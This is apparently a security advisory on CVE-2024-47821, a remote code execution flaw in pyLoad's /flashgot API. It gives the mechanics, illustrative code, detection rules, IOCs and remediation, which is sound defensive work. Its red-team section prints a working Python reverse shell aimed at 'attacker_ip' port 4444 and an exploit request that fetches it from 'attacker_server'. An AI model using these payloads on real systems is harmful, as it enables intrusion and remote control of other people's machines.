CVE-2024-47821

Executive Summary

CVE-2024-47821 is a critical vulnerability in pyLoad, an open-source download manager, allowing authenticated attackers to achieve remote code execution (RCE) by exploiting the /flashgot API to download arbitrary files into the /.pyload/scripts directory. Once a malicious executable is placed in this directory, performing the corresponding action (e.g., completing a download) triggers its execution. This vulnerability has a CVSS score of 9.1, indicating a severe risk to confidentiality, integrity, and availability. The attack requires low privileges and no user interaction, making it highly exploitable in environments where pyLoad is exposed to untrusted networks.

Supply Chain & Package Security

pyLoad is a Python-based application distributed via PyPI. The vulnerability affects versions prior to 0.5.0b3.dev87. Organizations using pyLoad should verify their version and update immediately. The package is not signed, and there is no known malicious package impersonation, but users should ensure they download from the official PyPI repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with permission to change download settings.
• User Interaction (UI): None (N) – No user action is needed beyond the attacker’s own actions.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise leads to data exposure.
• Integrity (I): High (H) – Arbitrary code execution allows modification of system files.
• Availability (A): High (H) – Attackers can disrupt services or delete data.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in pyLoad’s script execution mechanism. The application monitors the /.pyload/scripts directory for scripts that are automatically executed upon specific events (e.g., download completion). An attacker with access to the pyLoad web interface can:

1. Change the default download directory to a subdirectory within /.pyload/scripts (e.g., /.pyload/scripts/malicious).
2. Use the /flashgot API to download a malicious executable (e.g., a Python script or binary) to that directory.
3. Trigger the corresponding event (e.g., complete a dummy download) to execute the malicious script.

The /flashgot API is intended for browser integration but lacks proper validation of the download path, allowing directory traversal or arbitrary path specification. The script execution mechanism does not verify the origin or integrity of scripts in the scripts directory, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.5.0b3.dev87): The vulnerable code likely allows the download path to be set to any directory, including the scripts directory, without sanitization. The script execution loop iterates over all files in the scripts directory and executes them without checking if they were placed there by an authorized process.

# Vulnerable: No path validation
def flashgot_download(url, path):
    # path is user-controlled, can be set to scripts directory
    download_to_path(url, path)

def execute_scripts(event):
    for script in os.listdir(SCRIPTS_DIR):
        subprocess.run([script])  # No integrity check

Patched Code (0.5.0b3.dev87): The patch restricts the download path to a safe directory and validates that scripts are only executed if they are part of a predefined list or signed.

# Patched: Path validation and script whitelist
ALLOWED_DOWNLOAD_DIRS = ['/downloads', '/temp']
SCRIPTS_WHITELIST = ['on_download_finished.sh', 'on_extract.sh']

def flashgot_download(url, path):
    if not any(path.startswith(allowed) for allowed in ALLOWED_DOWNLOAD_DIRS):
        raise PermissionError("Download path not allowed")
    download_to_path(url, path)

def execute_scripts(event):
    for script in SCRIPTS_WHITELIST:
        script_path = os.path.join(SCRIPTS_DIR, script)
        if os.path.exists(script_path):
            subprocess.run([script_path])

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a pyLoad instance (version < 0.5.0b3.dev87) with a valid user account.
• Network connectivity to the pyLoad web interface (default port 8000).

Steps:

1. Login to pyLoad and navigate to the settings page.
2. Change the download directory to /.pyload/scripts/exploit.
3. Craft a malicious script (e.g., reverse_shell.py):

   import socket,subprocess,os
   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   s.connect(("attacker_ip",4444))
   os.dup2(s.fileno(),0)
   os.dup2(s.fileno(),1)
   os.dup2(s.fileno(),2)
   subprocess.call(["/bin/sh","-i"])
   

4. Use the /flashgot API to download the script:

   POST /flashgot HTTP/1.1
   Host: target:8000
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=valid_session
   
   urls=http://attacker_server/reverse_shell.py&filename=reverse_shell.py
   

5. Trigger the script execution by completing a dummy download (e.g., download a small file from a controlled server).
6. Receive the reverse shell on your listener.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual changes to the download directory setting in pyLoad logs.
• Alert on downloads to paths containing /scripts.
• Detect execution of unknown scripts from the /.pyload/scripts directory.

Prevention:

• Update pyLoad to version 0.5.0b3.dev87 or later.
• Restrict network access to the pyLoad web interface to trusted IPs.
• Implement file integrity monitoring on the scripts directory.
• Use application allowlisting to prevent execution of unauthorized scripts.

Indicators of Compromise (IOCs)

• File Paths:
  • /.pyload/scripts/*.py (unexpected Python scripts)
  • /.pyload/scripts/*.sh (unexpected shell scripts)
  • /.pyload/scripts/*.exe (unexpected executables)
• Network Connections:
  • Outbound connections from pyLoad server to unknown IPs on ports like 4444 (reverse shell).
  • Inbound connections to /flashgot API with suspicious urls parameters.
• Log Entries:
  • pyLoad logs showing download directory changed to a scripts subdirectory.
  • System logs showing execution of scripts from /.pyload/scripts by the pyLoad process.
• Processes:
  • Unusual child processes spawned by the pyLoad process (e.g., sh, python, bash).

Detection Engineering

YARA Rule

rule CVE_2024_47821_pyload_script_download {
    meta:
        description = "Detects malicious scripts downloaded to pyLoad scripts directory"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47821"
    strings:
        $s1 = "/.pyload/scripts" ascii wide nocase
        $s2 = "flashgot" ascii wide nocase
        $s3 = "download" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-47821 pyLoad Script Download
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to download files to pyLoad scripts directory via flashgot API
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/flashgot'
        cs-uri-query|contains: 'urls='
    condition: selection
falsepositives:
    - Legitimate use of flashgot API for normal downloads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47821 pyLoad flashgot script download"; flow:to_server,established; content:"POST"; http_method; content:"/flashgot"; http_uri; content:"urls="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update pyLoad to version 0.5.0b3.dev87 or later from the official repository.
2. Restrict network access to the pyLoad web interface using a firewall or VPN.
3. Review user accounts and remove any unnecessary privileges.

Long-term Measures:

• Implement regular vulnerability scanning for pyLoad and other dependencies.
• Use application allowlisting to prevent execution of unauthorized scripts.
• Enable detailed logging and monitoring for the pyLoad application.
• Conduct security training for administrators on secure configuration.

Workaround (if patching is not possible):

• Manually remove write permissions from the /.pyload/scripts directory for the pyLoad user.
• Disable the /flashgot API by blocking the endpoint in a reverse proxy.
• Monitor the scripts directory for any new files and alert on changes.

Valters IT